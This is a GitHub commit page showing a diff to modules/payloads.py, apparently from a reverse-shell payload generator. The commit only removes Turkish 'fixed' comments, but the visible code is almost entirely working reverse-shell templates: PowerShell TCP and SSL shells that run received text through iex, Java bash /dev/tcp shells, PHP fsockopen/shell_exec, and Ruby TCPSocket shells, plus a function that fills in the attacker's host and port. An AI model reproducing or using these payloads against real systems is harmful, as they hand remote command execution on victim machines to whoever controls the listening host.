Skip to content

Commit b250b28

Browse files
authored
Update payloads.py
1 parent 9849a23 commit b250b28

1 file changed

Lines changed: 13 additions & 12 deletions

File tree

modules/payloads.py

Lines changed: 13 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -75,13 +75,13 @@ class PayloadDatabase:
7575
"powershell_tcp": (
7676
"$c=New-Object Net.Sockets.TCPClient(\"{LHOST}\",{LPORT});"
7777
"$s=$c.GetStream();"
78-
"[byte[]]$b=0..65535|%{0};" # DÜZELTİLDİ: %{{0}} -> %{0}
79-
"while(($i=$s.Read($b,0,$b.Length)) -ne 0){" # DÜZELTİLDİ: {{ -> {
78+
"[byte[]]$b=0..65535|%{0};"
79+
"while(($i=$s.Read($b,0,$b.Length)) -ne 0){"
8080
"$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);"
8181
"$sb=(iex $d 2>&1|Out-String);"
8282
"$sb2=$sb+'PS '+(pwd).Path+'> ';"
8383
"$bt=([text.encoding]::ASCII).GetBytes($sb2);"
84-
"$s.Write($bt,0,$bt.Length);$s.Flush()};" # DÜZELTİLDİ: }} -> }
84+
"$s.Write($bt,0,$bt.Length);$s.Flush()};"
8585
"$c.Close()"
8686
),
8787
"powershell_udp": (
@@ -100,17 +100,17 @@ class PayloadDatabase:
100100
"$r=New-Object IO.StreamReader($ssl);"
101101
"$w=New-Object IO.StreamWriter($ssl);"
102102
"$w.AutoFlush=$true;"
103-
"while(($d=$r.ReadLine()) -ne $null){$w.Write((iex $d|Out-String))}" # DÜZELTİLDİ
103+
"while(($d=$r.ReadLine()) -ne $null){$w.Write((iex $d|Out-String))}"
104104
),
105105
"java_runtime": (
106106
"r=Runtime.getRuntime();"
107-
"p=r.exec(new String[]{\"bash\",\"-c\"," # DÜZELTİLDİ: {{ -> {
108-
"\"exec 5<>/dev/tcp/{LHOST}/{LPORT};cat <&5|while read l;do $l 2>&5 >&5;done\"});" # DÜZELTİLDİ
107+
"p=r.exec(new String[]{\"bash\",\"-c\","
108+
"\"exec 5<>/dev/tcp/{LHOST}/{LPORT};cat <&5|while read l;do $l 2>&5 >&5;done\"});"
109109
"p.waitFor()"
110110
),
111111
"java_process": (
112-
"String[] cmd={\"bash\",\"-c\"," # DÜZELTİLDİ
113-
"\"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1\"};" # DÜZELTİLDİ
112+
"String[] cmd={\"bash\",\"-c\","
113+
"\"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1\"};"
114114
"Runtime rt=Runtime.getRuntime();"
115115
"Process proc=rt.exec(cmd);proc.waitFor();"
116116
),
@@ -123,7 +123,7 @@ class PayloadDatabase:
123123
),
124124
"php_shell_exec": (
125125
"php -r '$s=fsockopen(\"{LHOST}\",{LPORT});"
126-
"while(!feof($s)){$c=fgets($s,1024);$o=shell_exec($c);" # DÜZELTİLDİ
126+
"while(!feof($s)){$c=fgets($s,1024);$o=shell_exec($c);"
127127
"fputs($s,$o);}'"
128128
),
129129
"php_pentestmonkey": (
@@ -133,12 +133,12 @@ class PayloadDatabase:
133133
"ruby_tcp": (
134134
"ruby -rsocket -e 'exit if fork;"
135135
"c=TCPSocket.new(\"{LHOST}\",\"{LPORT}\");"
136-
"while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" # DÜZELTİLDİ
136+
"while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
137137
),
138138
"ruby_bash": (
139139
"ruby -rsocket -e "
140140
"'c=TCPSocket.new(\"{LHOST}\",{LPORT});"
141-
"while(l=c.gets);IO.popen(l.chop,\"r\"){|f|c.print f.read}end'" # DÜZELTİLDİ
141+
"while(l=c.gets);IO.popen(l.chop,\"r\"){|f|c.print f.read}end'"
142142
),
143143
"ruby_no_fork": (
144144
"ruby -rsocket -e "
@@ -197,4 +197,5 @@ def render(cls, key: str, lhost: str, lport: int) -> Optional[str]:
197197
template = cls.get(key)
198198
if template is None:
199199
return None
200-
return template.replace('{LHOST}', lhost).replace('{LPORT}', str(lport))
200+
201+
return template.replace('{LHOST}', lhost).replace('{LPORT}', str(lport))

0 commit comments

Comments
 (0)